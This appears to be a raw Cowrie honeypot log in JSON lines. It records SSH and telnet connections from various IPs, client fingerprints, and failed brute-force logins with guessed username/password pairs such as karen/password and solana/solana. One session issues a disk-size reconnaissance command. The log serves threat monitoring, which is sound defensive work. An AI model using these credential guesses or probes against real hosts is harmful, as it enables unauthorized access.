{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:20.367375Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:20.535257Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:20.538451Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:20.610485Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.5","message":"Connection lost after 13.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:20.615035Z","src_ip":"107.150.103.210","session":"7fd7dc8424c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":49112,"dst_ip":"159.203.135.109","dst_port":22,"session":"c93ac58ca527","protocol":"ssh","message":"New connection: 45.232.73.84:49112 (159.203.135.109:22) [session: c93ac58ca527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:35.607744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:35.611080Z","src_ip":"45.232.73.84","session":"c93ac58ca527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:35.740554Z","src_ip":"45.232.73.84","session":"c93ac58ca527","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"inversiones","password":"inversiones123","message":"login attempt [inversiones/inversiones123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:36.289957Z","src_ip":"45.232.73.84","session":"c93ac58ca527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:37.421219Z","src_ip":"45.232.73.84","session":"c93ac58ca527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":54582,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b4bfbc253ff","protocol":"ssh","message":"New connection: 20.244.95.173:54582 (159.203.135.109:22) [session: 3b4bfbc253ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:56.176825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:56.181048Z","src_ip":"20.244.95.173","session":"3b4bfbc253ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:56.374722Z","src_ip":"20.244.95.173","session":"3b4bfbc253ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"andre1","message":"login attempt [andre/andre1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:56.765956Z","src_ip":"20.244.95.173","session":"3b4bfbc253ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:53:57.962527Z","src_ip":"20.244.95.173","session":"3b4bfbc253ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60496,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2a700996abe","protocol":"ssh","message":"New connection: 2.57.122.208:60496 (10.17.0.5:22) [session: f2a700996abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:23.491916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:23.503576Z","src_ip":"2.57.122.208","session":"f2a700996abe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:23.611684Z","src_ip":"2.57.122.208","session":"f2a700996abe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:24.128097Z","src_ip":"2.57.122.208","session":"f2a700996abe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:25.234280Z","src_ip":"2.57.122.208","session":"f2a700996abe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":39974,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5e9f8fdc17f","protocol":"ssh","message":"New connection: 103.59.94.61:39974 (159.203.135.109:22) [session: d5e9f8fdc17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:25.747494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:25.751586Z","src_ip":"103.59.94.61","session":"d5e9f8fdc17f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:25.999648Z","src_ip":"103.59.94.61","session":"d5e9f8fdc17f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db","password":"123","message":"login attempt [db/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:27.019342Z","src_ip":"103.59.94.61","session":"d5e9f8fdc17f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:28.268956Z","src_ip":"103.59.94.61","session":"d5e9f8fdc17f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":48176,"dst_ip":"10.17.0.5","dst_port":22,"session":"621d2cae5bd0","protocol":"ssh","message":"New connection: 142.93.139.168:48176 (10.17.0.5:22) [session: 621d2cae5bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:37.283340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:37.287604Z","src_ip":"142.93.139.168","session":"621d2cae5bd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:37.363215Z","src_ip":"142.93.139.168","session":"621d2cae5bd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karen","password":"password","message":"login attempt [karen/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:37.516299Z","src_ip":"142.93.139.168","session":"621d2cae5bd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:54:38.593769Z","src_ip":"142.93.139.168","session":"621d2cae5bd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.37.84.205","src_port":45695,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c66329661c2","protocol":"telnet","message":"New connection: 110.37.84.205:45695 (159.203.135.109:23) [session: 4c66329661c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:32.276244Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":37226,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a72640cb039","protocol":"ssh","message":"New connection: 92.118.39.56:37226 (10.17.0.5:22) [session: 3a72640cb039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:40.483154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:40.487611Z","src_ip":"92.118.39.56","session":"3a72640cb039","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:40.591874Z","src_ip":"92.118.39.56","session":"3a72640cb039","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:40.905805Z","src_ip":"92.118.39.56","session":"3a72640cb039","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:42.012269Z","src_ip":"92.118.39.56","session":"3a72640cb039","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":58926,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ef496b968b7","protocol":"ssh","message":"New connection: 172.187.200.190:58926 (159.203.135.109:22) [session: 5ef496b968b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:42.732803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:42.738232Z","src_ip":"172.187.200.190","session":"5ef496b968b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:42.823889Z","src_ip":"172.187.200.190","session":"5ef496b968b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234567890","message":"login attempt [test/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:42.998015Z","src_ip":"172.187.200.190","session":"5ef496b968b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:44.085901Z","src_ip":"172.187.200.190","session":"5ef496b968b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.734423160552979,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:55:46.010543Z","src_ip":"110.37.84.205","session":"4c66329661c2","protocol":"telnet"}
